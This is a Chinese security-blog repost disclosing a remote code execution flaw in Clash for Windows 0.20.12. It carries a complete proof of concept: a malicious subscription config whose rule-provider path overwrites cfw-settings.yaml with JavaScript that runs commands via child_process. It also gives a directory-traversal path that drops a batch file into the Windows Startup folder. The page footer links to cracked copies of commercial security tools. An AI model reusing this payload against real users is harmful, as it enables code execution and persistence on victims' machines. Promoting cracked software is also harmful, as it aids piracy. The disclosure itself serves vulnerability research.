【漏洞速递】Clash最新远程代码执行漏洞(附POC)

admin 2023年1月16日15:33:50【漏洞速递】Clash最新远程代码执行漏洞(附POC)已关闭评论674 views字数 2452阅读8分10秒阅读模式
图片

漏洞概述

图片


clash for windows是一个使用 Go 语言编写,基于规则的跨平台代理软件核心程序。 Clash for Windows 是运行在 Windows 上的一图形化 Clash 分支。通过 Clash API 来配置和控制 Clash 核心程序,便于用户可视化操作和使用。

下载链接:

https://github.com/Fndroid/clash_for_windows_pkg/releases

目前最新版本为V 0.20.12。

Windows 上的 clash_for_windows 在 0.20.12 在订阅一个恶意链接时存在远程命令执行漏洞。因为对订阅文件中 rule-providers 的 path 的不安全处理导致 cfw-setting.yaml 会被覆盖,cfw-setting.yaml 中 parsers 的 js代码将会被执行。

影响版本版本:V 0.20.12V

操作系统:Windows x64

系统版本:Windows 11

风险等级:高危

图片

漏洞复现

图片

PoC

  1. The attacker starts a web service to ensure that these two files can be accessed:

    启动一个web服务来确保这两个文件可以被访问

config.yaml

port: 7890socks-port: 7891allow-lan: truemode: Rulelog-level: infoexternal-controller: :9090proxies:  - name: a    type: socks5    server: 127.0.0.1    port: "17938"    skip-cert-verify: true
rule-providers: p: type: http behavior: domain url: "http://this.your.url/cfw-settings.yaml" path: ./cfw-settings.yaml interval: 86400

cfw-settings.yaml

payload:  - DOMAIN-SUFFIX,acl4.ssr,全球直连showNewVersionIcon: truehideAfterStartup: falserandomControllerPort: truerunTimeFormat: "hh : mm : ss"trayOrders:  - - icon  - - status    - traffic    - texthideTrayIcon: falseconnShowProcess: trueshowTrayProxyDelayIndicator: trueprofileParsersText: >-  parsers:    - reg: .*      code:         module.exports.parse = async (raw, { axios, yaml, notify, console }, { name, url, interval, selected }) => {          require("child_process").exec("calc.exe");          return raw;          }
  1. Victim uses subscription link 

    使用订阅链接

  2. restart the clash_for_windows_pkg

    重新启动

  3. Update subscriptions or import new subscriptions

    更新订阅或导入新订阅

图片

日志文件

No response

其他补充

由于是rule-providers的自定义path的问题,还有其他利用方式,比如用目录穿越写入开机启动项
path: ../../../../../../Users/User/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/hack.bat
不过杀毒软件会弹框
Since it is a problem with the custom path of rule-providers, there are other ways to use it, such as using directory traversal to write into the startup item
path: ../../../../../../Users/User/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/hack.bat
But the antivirus software will warn.
    Taps:





    文章参考:

    https://github.com/Fndroid/clash_for_windows_pkg/issues/3891

    免责声明:由于传播、利用本公众号WIN哥学安全提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号WIN哥学安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,本号会立即删除并致歉。谢谢!

往期推荐

【漏洞速递】禅道系统权限绕过与命令执行漏洞(附POC)

[ 红队知识库 ] 常见WAF拦截页面

应急响应思维导图分享-mir1ce师傅

企业级-应急响应完整流程:启示录1

Fortify Static Code Analyzer_22.2-Windows&Linux&Mac 破解版

应急响应思维导图分享-mir1ce师傅

漏扫工具Invicti-Professional(原Netsparker)最新破解版

三款移动应用安全分析平台推荐

Ladon 10.2 2022.12.24

一次市hvv及省hvv的思路总结

Docker_Awvs15.x一键安装[支持版本更新]


最全应急响应流程-附命令和工具【建议收藏】

一款溯源取证工具——数千条规则、涵盖所有攻击类型检测并自动导出报告


适用于 2022 年红队行动的所有免费红队工具和模拟工具包

awvs 15.2破解版下载(Linux, Windows)

web安全手册(红队安全技能栈-下载)


APP漏洞挖掘(一)APP多种方式GetShell?

【宝藏】全网优秀攻防工具集成项目

扫码加好友,加入交流群↓↓↓ 

图片   

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月16日15:33:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞速递】Clash最新远程代码执行漏洞(附POC)https://cn-sec.com/archives/1518693.html